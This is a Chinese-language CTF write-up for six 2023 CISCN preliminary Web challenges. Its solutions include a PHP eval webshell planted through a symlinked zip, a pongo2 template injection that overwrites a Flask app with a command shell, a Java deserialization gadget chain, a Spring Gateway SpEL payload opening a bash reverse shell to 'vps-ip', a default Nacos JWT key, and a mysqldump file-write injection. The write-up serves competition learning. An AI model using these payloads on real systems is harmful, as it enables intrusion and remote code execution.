2023 CISCN 初赛 Web Writeup

跟 defcon 时间冲了, 抽空随便打的 (

unzip

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<?php
error_reporting(0);
highlight_file(__FILE__);

$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
    exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};

//only this!

unzip 命令没有 zip slip 的问题

但因为是压缩包, 所以可以传软连接 (参考 2022 MTCTF OnlineUnzip)

注意到执行 unzip 的时候有个 -o 参数, 即默认允许覆盖文件

所以考虑先创建一个指向 /var 目录的软连接 test, 本地压缩好后放到网站上解压

然后上传同名的 upload.php 解压到 /tmp/test/www/html/, 覆盖原来的 upload.php 为 webshell

upload.php

1
<?php eval($_REQUEST[1]);phpinfo();?>

test.zip

1
2
ln -s /var test
zip -y test.zip test

a.zip

1
2
3
4
5
import zipfile

zf = zipfile.ZipFile('a.zip', 'w')
zf.write('upload.php', 'test/www/html/upload.php')
zf.close()

依次上传 test.zip a.zip

go_session

session 由 gorilla/sessions 实现, 并且 session key 从环境变量中获得

1
var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))

/admin 路由需要 session name 为 admin 才能访问, 里面调用了 pongo2 来实现模版解析

/flask 路由可以访问到本机 5000 端口的 flask, 但是根据报错信息泄露的源码来看只有一个没有用的路由, 不过开启了 debug 模式

试了一会发现 os.Getenv 如果获取不存在的环境变量就会返回空值

所以瞎猜一波题目服务器上并没有设置 SESSION_KEY

本地随便改一下源码, 把 cookie 复制下来扔到服务器上

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
var store = sessions.NewCookieStore([]byte(""))

func Index(c *gin.Context) {
	session, err := store.Get(c.Request, "session-name")
	if err != nil {
		http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
		return
	}
	if session.Values["name"] == nil {
		session.Values["name"] = "admin"
		err = session.Save(c.Request, c.Writer)
		if err != nil {
			http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
			return
		}
	}

	c.String(200, "Hello, admin")
}

之后是 pongo2 ssti

参考文档:

https://github.com/flosch/pongo2

https://pkg.go.dev/github.com/gin-gonic/gin

注意到源码在编译模版的时候到 context 只传了 gin.Context, 所以猜测肯定是要从这方面入手

经过一段时间的测试和搜索找到这篇文章

https://www.imwxz.com/posts/2b599b70.html#template%E7%9A%84%E5%A5%87%E6%8A%80%E6%B7%AB%E5%B7%A7

一个任意文件写, 又想到上面的 flask 开了 debug 模式, 而在 debug 模式下 flask 会动态更新源码的内容

所以思路是通过 FormFile 和 SaveUploadedFile 上传文件覆盖掉之前的 flask 源码, 然后访问 /flask 路由 rce

源码路径可以在报错信息中找到

1
http://123.56.244.196:17997/flask?name=

最后因为模版编译前会通过 html 编码把单双号转义, 所以需要换个方式传入字符串

发现 gin.Context 里面包装了 Request 和 ResponseWriter, 这里随便找了个 Request.UserAgent()

1
2
3
4
// UserAgent returns the client's User-Agent, if sent in the request.
func (r *Request) UserAgent() string {
	return r.Header.Get("User-Agent")
}

最终 payload

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.Request.UserAgent()),c.Request.UserAgent())}} HTTP/1.1
Host: 123.56.244.196:17997
Content-Length: 613
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrxtSm5i2S6anueQi
User-Agent: /app/server.py
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cookie: session-name=MTY4NTE1ODc3OHxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXzlZGsWROWLHoCNn0Pbu3SkgRLWCZRrj8UIHVYgHU7GPw==
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

------WebKitFormBoundaryrxtSm5i2S6anueQi
Content-Disposition: form-data; name="/app/server.py"; filename="server.py"
Content-Type: text/plain

from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/shell')
def shell():
    cmd = request.args.get('cmd')
    if cmd:
        return os.popen(cmd).read()
    else:
        return 'shell'
    
if __name__== "__main__":
    app.run(host="127.0.0.1",port=5000,debug=True)
------WebKitFormBoundaryrxtSm5i2S6anueQi
Content-Disposition: form-data; name="submit"

&#25552;&#20132;
------WebKitFormBoundaryrxtSm5i2S6anueQi--

1
http://123.56.244.196:17997/flask?name=/shell?cmd=cat%2520/00cab53f1ece95d90020_flag

DeserBug

题目给了 commons-collections 和 hutool 依赖, 由于前者是 3.2.2 版本的所以诸如 InvokeTransformer 之类的就不能用了

hutool 里面有 JSONArray 和 JSONObject 类, 看名字感觉很像 fastjson 的类, 但实际上经过测试它们只会在 add / put 的时候触发任意 getter / setter, 调用 toString 时并不会触发

然后题目给了一个 Myexpect 类, 它的 getAnyexcept 可以调用任意类的 public 构造方法

结合之前 cc 链的经验很容易想到 com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter 这个类

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
TemplatesImpl templatesImpl = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(TemplatesEvilClass.class.getName());

Reflection.setFieldValue(templatesImpl, "_name", "Hello");
Reflection.setFieldValue(templatesImpl, "_bytecodes", new byte[][]{clazz.toBytecode()});
Reflection.setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());

Myexpect expect = new Myexpect();
expect.setTargetclass(TrAXFilter.class);
expect.setTypeparam(new Class[]{Templates.class});
expect.setTypearg(new Object[]{templatesImpl});

之后需要找到从 readObject / toString 到 put / add 的链子, 根据题目给的 cc 依赖容易想到 TiedMapEntry 和 LazyMap

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

最终 payload

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
import cn.hutool.json.JSONObject;
import com.app.Myexpect;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.net.URL;
import java.net.URLEncoder;
import java.util.*;

public class Demo {
    public static void main(String[] args) throws Exception {

        String result;

        TemplatesImpl templatesImpl = new TemplatesImpl();
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(TemplatesEvilClass.class.getName());

        Reflection.setFieldValue(templatesImpl, "_name", "Hello");
        Reflection.setFieldValue(templatesImpl, "_bytecodes", new byte[][]{clazz.toBytecode()});
        Reflection.setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());

        Myexpect expect = new Myexpect();
        expect.setTargetclass(TrAXFilter.class);
        expect.setTypeparam(new Class[]{Templates.class});
        expect.setTypearg(new Object[]{templatesImpl});

        JSONObject jsonObject = new JSONObject();
        jsonObject.put("aa", "bb");

        Transformer transformer = new ConstantTransformer(1);

        Map innerMap = jsonObject;
        Map outerMap = LazyMap.decorate(innerMap, transformer);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "k");

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");
        innerMap.clear();

        Reflection.setFieldValue(transformer, "iConstant", expect);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream output = new ObjectOutputStream(baos);
        output.writeObject(expMap);
        output.flush();
        baos.flush();

        byte[] data = baos.toByteArray();

        String bugstr = URLEncoder.encode(Base64.getEncoder().encodeToString(data));
        System.out.println(bugstr);
//        try {
//            byte[] decode = Base64.getDecoder().decode(bugstr);
//            ObjectInputStream inputStream = new ObjectInputStream(new ByteArrayInputStream(decode));
//            Object object = inputStream.readObject();
//            result = object.toString();
//        } catch (Exception e) {
//            System.out.println(e.getClass());
//            com.app.Myexpect myexpect = new com.app.Myexpect();
//            myexpect.setTypeparam(new Class[]{String.class});
//            myexpect.setTypearg(new String[]{e.toString()});
//            myexpect.setTargetclass(e.getClass());
//            try {
//                result = myexpect.getAnyexcept().toString();
//            } catch (Exception ex) {
//                result = ex.toString();
//            }
//        }
    }
}

BackendService

参考文章

https://www.cnblogs.com/backlion/p/17246695.html

https://xz.aliyun.com/t/11493

结合之前爆出来的 nacos jwt 默认密钥导致的未授权漏洞

1
SecretKey012345678901234567890123456789012345678901234567890123456789

然后直接去 nacos 后台发布配置, 注意 Data ID 为 backcfg 并且内容为 json 格式 (参考源码中的 bootstrap.yml)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
{
    "spring": {
        "cloud": {
            "gateway": {
                "routes": [
                    {
                        "id": "exam",
                        "order": 0,
                        "uri": "http://example.com/",
                        "predicates": [
                            "Path=/echo/**"
                        ],
                        "filters": [
                            {
                                "name": "AddResponseHeader",
                                "args": {
                                    "name": "result",
                                    "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'bash', '-c', 'bash -i >& /dev/tcp/vps-ip/65444 0>&1'}).getInputStream())).replaceAll('\n','').replaceAll('\r','')}"
                                }
                            }
                        ]
                    }
                ]
            }
        }
    }
}

dumpit

参考文章: https://mariadb.com/kb/en/mariadb-dump/

猜测 ?db=&table_2_dump= 调用的是 mysqldump 之类的命令, 存在命令注入, 但是过滤了常规的一些字符

测试发现 mysqldump 会将 database 的名称输出 (即使不存在), 翻阅文档得知可以通过 --result-file 参数指定生成的文件名

payload

1
http://eci-2zej20xezk9iber18vi8.cloudeci1.ichunqiu.com:8888/?db=%22%3C?=phpinfo()?%3E%22%20--result-file%20shell.php&table_2_dump=flag1

flag 在环境变量里面

reading

有个任意文件读取, 但是目录穿越挺脑洞的, 猜了一会发现是把 .. 替换成 ., 用 ... 就可以穿越了

然后 /flag 读不到, 但是有 /readflag 命令, 很明显是要 rce

然后读 app.py 发现有 secret key 和 key (时间戳 md5 加密), 还有 /flag 路由, 里面会验证 session key 加密过后的内容是否与源码开头的 key 相同, 之后执行 /readflag 命令

因为任意文件读取可以控制 page num 和 page size, 也就是 offset 和 length, 一个很经典的思路就是利用任意文件读取读 /proc/self/maps 获取 python 相关程序的地址然后读 /proc/self/mem 拿到堆里面的 secret key 和 key, 伪造 session 最后访问 /flag 路由

但是后来没啥时间就懒得看了 (

补一下 app.py

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
# -*- coding:utf8 -*-
import os
import math
import time
import hashlib
from flask import Flask, request, session, render_template, send_file
from datetime import datetime
app = Flask(__name__)
app.secret_key = hashlib.md5(os.urandom(32)).hexdigest()
key = hashlib.md5(str(time.time_ns()).encode()).hexdigest()

books = os.listdir('./books')
books.sort(reverse=True)


@app.route('/')
def index():
if session:
book = session['book']
page = session['page']
page_size = session['page_size']
total_pages = session['total_pages']
filepath = session['filepath']

words = read_file_page(filepath, page, page_size)
return render_template('index.html', books=books, words=words)

return render_template('index.html', books=books )


@app.route('/books', methods=['GET', 'POST'])
def book_page():
if request.args.get('book'):
book = request.args.get('book')
elif session:
book = session.get('book')
else:
return render_template('index.html', books=books, message='I need book')
book=book.replace('..','.')
filepath = './books/' + book

if request.args.get('page_size'):
page_size = int(request.args.get('page_size'))
elif session:
page_size = int(session.get('page_size'))
else:
page_size = 3000

total_pages = math.ceil(os.path.getsize(filepath) / page_size)

if request.args.get('page'):
page = int(request.args.get('page'))
elif session:
page = int(session.get('page'))
else:
page = 1
words = read_file_page(filepath, page, page_size)
prev_page = page - 1 if page > 1 else None
next_page = page + 1 if page < total_pages else None

session['book'] = book
session['page'] = page
session['page_size'] = page_size
session['total_pages'] = total_pages
session['prev_page'] = prev_page
session['next_page'] = next_page
session['filepath'] = filepath
return render_template('index.html', books=books, words=words )


@app.route('/flag', methods=['GET', 'POST'])
def flag():
if hashlib.md5(session.get('key').encode()).hexdigest() == key:
return os.popen('/readflag').read()
else:
return "no no no"


def read_file_page(filename, page_number, page_size):
for i in range(3):
for j in range(3):
size=page_size + j
offset = (page_number - 1) * page_size+i
try:
with open(filename, 'rb') as file:
file.seek(offset)
words = file.read(size)
return words.decode().split('\n')
except Exception as e:
pass
#if error again
offset = (page_number - 1) * page_size
with open(filename, 'rb') as file:
file.seek(offset)
words = file.read(page_size)
return words.split(b'\n')


if __name__ == '__main__':
app.run(host='0.0.0.0', port='8000')
0%